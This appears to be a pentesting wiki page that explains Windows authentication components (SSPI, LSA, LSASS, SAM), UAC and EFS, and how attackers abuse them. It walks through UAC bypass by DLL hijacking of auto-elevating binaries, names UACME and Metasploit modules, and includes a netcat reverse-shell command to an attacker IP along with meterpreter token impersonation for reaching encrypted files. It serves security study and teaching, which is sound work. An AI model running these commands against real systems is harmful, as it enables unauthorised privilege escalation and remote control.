Comment on page
Authentication, Credentials, UAC and EFS
Is the API that can be use to authenticate users.
The SSPI will be in charge of finding the adequate protocol for two machines that want to communicate. The preferred method for this is Kerberos. Then the SSPI will negotiate which authentication protocol will be used, these authentication protocols are called Security Support Provider (SSP), are located inside each Windows machine in the form of a DLL and both machines must support the same to be able to communicate.
- Kerberos: The preferred one
- NTLMv1 and NTLMv2: Compatibility reasons
- Digest: Web servers and LDAP, password in form of a MD5 hash
- Schannel: SSL and TLS
- Negotiate: It is used to negotiate the protocol to use (Kerberos or NTLM being Kerberos the default one)
The credentials (hashed) are saved in the memory of this subsystem for Single Sign-On reasons. LSA administrates the local security policy (password policy, users permissions...), authentication, access tokens... LSA will be the one that will check for provided credentials inside the SAM file (for a local login) and talk with the domain controller to authenticate a domain user.
The credentials are saved inside the process LSASS: Kerberos tickets, hashes NT and LM, easily decrypted passwords.
Local credentials are present in this file, the passwords are hashed.
We have talk about this. Different credentials are saved in the memory of this process.
LSA could save in disk some credentials:
- Password of the computer account of the Active Directory (unreachable domain controller).
- Passwords of the accounts of Windows services
- Passwords for scheduled tasks
- More (password of IIS applications...)
It is the database of the Active Directory. It is only present in Domain Controllers.
Allows browsers and other Windows applications to save credentials.
UAC is used to allow an administrator user to not give administrator privileges to each process executed. This is achieved using default the low privileged token of the user. When, the administrator executes some process as administrator, a UAC elevation is performed and if it is successfully completed, the privileged token is used to create the process.
To differentiate which process is executed with low or high privileges Mandatory Integrity Controls (MIC) are used. If you still don't know what are Windows Integrity levels check the following page:
Some programs are autoelevated automatically if the user belongs to the administrator group. These binaries have inside their Manifests the autoElevate option with value True. The binary has to be signed by Microsoft also.
Then, to bypass the UAC (elevate from medium integrity level to high) some attackers use this kind of binaries to execute arbitrary code because it will be executed from a High level integrity process.
You can check the Manifest of a binary using the tool sigcheck.exe from Sysinternals. And you can see the integrity level of the processes using Process Explorer or Process Monitor (of Sysinternals).
First you need to check the value of the key EnableLUA, if it's
1then UAC is activated, if its
0or it doesn't exist, then UAC is inactive.
reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\
0then, UAC won't prompt (like disabled)
1the admin is asked for username and password to execute the binary with high rights (on Secure Desktop)
2(Always notify me) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop)
1but not necessary on Secure Desktop
2but not necessary on Secure Desktop
5(default) it will ask the administrator to confirm to run non Windows binaries with high privileges
Then, you have to take a look at the value of
LocalAccountTokenFilterPolicyIf the value is
0, then, only the RID 500 user (built-in Administrator) is able to perform admin tasks without UAC, and if its
1, all accounts inside "Administrators" group can do them.
And, finally take a look at the value of the key
0(default), the built-in Administrator account can do remote administration tasks and if
1the built-in account Administrator cannot do remote administration tasks, unless
LocalAccountTokenFilterPolicyis set to
EnableLUA=0or doesn't exist, no UAC for anyone
LocalAccountTokenFilterPolicy=1, No UAC for anyone
FilterAdministratorToken=0, No UAC for RID 500 (Built-in Administrator)
FilterAdministratorToken=1, UAC for everyone
Note that if you have graphical access to the victim, UAC bypass is straight forward as you can simply click on "Yes" when the UAS prompt appears
It is important to mention that it is much harder to bypass the UAC if it is in the highest security level (Always) than if it is in any of the other levels (Default).
The UAC bypass is needed in the following situation: the UAC is activated, your process is running in a medium integrity context, and your user belongs to the administrators group. All this information can be gathered using the metasploit module:
You can also check the groups of your user and get the integrity level:
net user %username%
whoami /groups | findstr Level
If you have a shell with a user that is inside the Administrators group you can mount the C$ shared via SMB (file system) local in a new disk and you will have access to everything inside the file system (even Administrator home folder).
Looks like this trick isn't working anymore
net use Z: \\127.0.0.1\c$
#Or you could just access it:
If UAC is already disabled (
0) you can execute a reverse shell with admin privileges (high integrity level) using something like:
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
You could also use some tools to bypass UAC like UACME which is a compilation of several UAC bypass exploits. Note that you will need to compile UACME using visual studio or msbuild. The compilation will create several executables (likeSource\Akagi\outout\x64\Debug\Akagi.exe) , you will need to know which one you need. You should be careful because some bypasses will prompt some other programs that will alert the user that something is happening.
Empire and Metasploit also have several modules to bypass the UAC.
All the techniques used here to bypass AUC require a full interactive shell with the victim (a common nc.exe shell is not enough).
You can get using a meterpreter session. Migrate to a process that has the Session value equals to 1:
(explorer.exe should works)
If you take a look to UACME you will note that most UAC bypasses abuse a Dll Hijacking vulnerability (mainly writing the malicious dll on C:\Windows\System32). Read this to learn how to find a Dll Hijacking vulnerability.
- 1.Find a binary that will autoelevate (check that when it is executed it runs in a high integrity level).
- 2.With procmon find "NAME NOT FOUND" events that can be vulnerable to DLL Hijacking.
- 3.You probably will need to write the DLL inside some protected paths (like C:\Windows\System32) were you don't have writing permissions. You can bypass this using:
- 1.wusa.exe: Windows 7,8 and 8.1. It allows to extract the content of a CAB file inside protected paths (because this tool is executed from a high integrity level).
- 2.IFileOperation: Windows 10.
- 4.Prepare a script to copy your DLL inside the protected path and execute the vulnerable and autoelevated binary.
Consists on watching if an autoElevated binary tries to read from the registry the name/path of a binary or command to be executed (this is more interesting if the binary searches this information inside the HKCU).
EFS works by encrypting a file with a bulk symmetric key, also known as the File Encryption Key, or FEK. The FEK is then encrypted with a public key that is associated with the user who encrypted the file, and this encrypted FEK is stored in the $EFS alternative data stream of the encrypted file. To decrypt the file, the EFS component driver uses the private key that matches the EFS digital certificate (used to encrypt the file) to decrypt the symmetric key that is stored in the $EFS stream. From here.
Examples of files being decrypted without the user asking for it:
- Encrypted files are copied over the network using the SMB/CIFS protocol, the files are decrypted before they are sent over the network.
The encrypted files using this method can be tansparently access by the owner user (the one who has encrypted them), so if you can become that user you can decrypt the files (changing the password of the user and logins as him won't work).
Check if a user has used this service checking if this path exists:
Check who has access to the file using cipher /c <file> You can also use
cipher /dinside a folder to encrypt and decrypt all the files
This way requires the victim user to be running a process inside the host. If that is the case, using a
meterpretersessions you can impersonate the token of the process of the user (
incognito). Or you could just
migrateto process of the user.